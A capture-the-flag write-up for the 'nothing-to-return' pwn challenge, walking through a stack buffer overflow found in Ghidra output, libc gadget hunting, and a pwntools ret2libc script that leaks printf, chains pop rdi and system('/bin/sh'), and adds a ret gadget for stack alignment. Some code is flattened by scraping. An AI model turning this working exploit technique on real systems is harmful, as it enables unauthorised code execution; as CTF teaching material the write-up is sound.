ntr

nothing-to-return

written by hartmannsyg

We are given a binary and a libc.

┌──(rwandi㉿ryan)-[~/ctf/uoft]
└─$ checksec ntr
[*] '/home/rwandi/ctf/uoft/ntr'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'.'
my strange method to get libc working

Install the latest pre-release version of pwntools:

python3 -m pip install --upgrade --pre pwntools

then in the solve script:

1
2
3
4
5
6
7
version = 'libc.so.6'
library_path = libcdb.download_libraries(version)
if library_path:
elf = context.binary = ELF.patch_custom_libraries(elf.path, library_path)
libc = elf.libc
else:
libc = ELF(version)
┌──(rwandi㉿ryan)-[~/ctf/uoft]
└─$ ./ntr_remotelibc
printf is at 0x7f318b125250
Hello give me an input
Input size:
16
Enter your input:
aaaaaaaaaaaaaaaa
I'm returning the input:
aaaaaaaaaaaaaaa

If we open this up in ghidra:

1
2
3
4
5
6
7
8
9
10
11
12
13
undefined8 main(EVP_PKEY_CTX *param_1)

{
char buffer [64];

init(param_1);
printf("printf is at %p\n",printf);
puts("Hello give me an input");
get_input(buffer);
puts("I\'m returning the input:");
puts(buffer);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void get_input(void *end_location)

{
size_t size;
char *ptr;

puts("Input size:");
__isoc99_scanf("%lu[^\n]",&size);
ptr = (char *)calloc(1,size);
fgets(ptr,(int)size,stdin);
puts("Enter your input:");
fgets(ptr,(int)size,stdin);
memcpy(end_location,ptr,size);
free(ptr);
return;
}

What this program does is:

  • leak printf location (this is our libc leak)
  • ask for input size
  • read specified number of bytes into buffer (in main())

We essentially have a buffer overflow as we can input more than the buffer can store.

  • No canary found so we don’t need a canary leak
  • NX enabled so we have to ROP our way using gadgets to shell
  • The binary is too small so we need to use gadgets within the libc provided
┌──(rwandi㉿ryan)-[~/ctf/uoft]
└─$ ROPgadget --binary ./libc.so.6 | grep 'pop rdi ; ret'
0x00000000000a1457 : inc dword ptr [rbp + 0x158d48c0] ; pop rdi ; retf 0xc
0x0000000000028265 : pop rdi ; ret
0x000000000003df6d : pop rdi ; ret 0x16
0x000000000005a47d : pop rdi ; ret 0xffff
0x00000000000a145d : pop rdi ; retf 0xc
0x00000000000a1459 : ror byte ptr [rax - 0x73], 0x15 ; pop rdi ; retf 0xc

To run system(“/bin/sh”), we need:

  1. system

We need to know if system() is in the libc:

>>> from pwn import *
>>> libc = ELF('./libc.so.6')
[*] '/home/rwandi/ctf/uoft/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> hex(libc.sym['system'])
'0x4f760'
  1. “/bin/sh” string in the libc
>>> hex(next(libc.search(b'/bin/sh')))
'0x19fe34'

Yep, there is a “/bin/sh” in the libc

  1. “pop rdi; ret” gadget so that we can input that string into
┌──(rwandi㉿ryan)-[~/ctf/uoft]
└─$ ROPgadget --binary ./libc.so.6 | grep 'pop rdi ; ret'
0x00000000000a1457 : inc dword ptr [rbp + 0x158d48c0] ; pop rdi ; retf 0xc
0x0000000000028265 : pop rdi ; ret
0x000000000003df6d : pop rdi ; ret 0x16 0x000000000005a47d : pop rdi ; ret 0xffff 0x00000000000a145d : pop rdi ; retf 0xc 0x00000000000a1459 : ror byte ptr [rax - 0x73], 0x15 ; pop rdi ; retf 0xc

So let’s create our script:

solve.py
1
2
3
4
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context.binary = elf = ELF('./ntr')
context.log_level = 'debug'
5-12 #Code for loading the libc
# p = process([elf.path]) p = gdb.debug([elf.path]) p.recvuntil(b"printf is at ") printf_leak = p.recvline() printf_leak = int(printf_leak, 16) libc_base = printf_leak - libc.sym['printf'] log.info('libc_base ' + hex(libc_base)) pop_rdi = libc_base + 0x0000000000028265 binsh = libc_base + next(libc.search("/bin/sh")) system = libc_base + libc.sym['system'] payload = b'a'*72 + p64(pop_rdi) + p64(binsh) + p64(system) p.sendline(str(len(payload)).encode()) p.sendline(payload) p.interactive()
Program received signal SIGSEGV, Segmentation fault.
0x00007f1f1063a44b in ?? ()
   from target:/home/rwandi/.cache/.pwntools-cache-3.11/libcdb_libs/316d0d3666387f0e8f
b98773f51aa1801027c5ab/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────
...
─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
0x7f1f1063a44b movaps xmmword ptr [rsp + 0x50], xmm0
0x7f1f1063a450 call posix_spawn <posix_spawn> 0x7f1f1063a455 mov rdi, rbx 0x7f1f1063a458 mov r12d, eax 0x7f1f1063a45b call posix_spawnattr_destroy <posix_spawnattr_des troy> 0x7f1f1063a460 test r12d, r12d 0x7f1f1063a463 je 0x7f1f1063a558 <0x7f1f1063a558> 0x7f1f1063a469 mov dword ptr [rsp + 8], 0x7f00 0x7f1f1063a471 xor eax, eax 0x7f1f1063a473 mov edx, 1 0x7f1f1063a478 lock cmpxchg dword ptr [rip + 0x1f1060], edx ───────────────────────────────────────[ STACK ]─────────────────────────────────────── ... ─────────────────────────────────────[ BACKTRACE ]───────────────────────────────────── ... ───────────────────────────────────────────────────────────────────────────────────────

We have a movaps stack alignment issue. To fix this, we have to find a ret gadget:

┌──(rwandi㉿ryan)-[~/ctf/uoft]
└─$ ROPgadget --binary ./libc.so.6 | grep ": ret$"
0x000000000002648d : ret
solve.py
1
2
3
4
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.binary = elf = ELF('./ntr')
# context.log_level = 'debug'
5-12 #Code for loading the libc
p = process([elf.path]) # p = gdb.debug([elf.path]) p.recvuntil(b"printf is at ") printf_leak = p.recvline() printf_leak = int(printf_leak, 16) libc_base = printf_leak - libc.sym['printf'] log.info('libc_base ' + hex(libc_base))
ret = libc_base + 0x000000000002648d
pop_rdi = libc_base + 0x0000000000028265 binsh = libc_base + next(libc.search("/bin/sh")) system = libc_base + libc.sym['system']
payload = b'a'*72 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(str(len(payload)).encode()) p.sendline(payload) p.interactive()

And we get shell!

We have succesfully ntred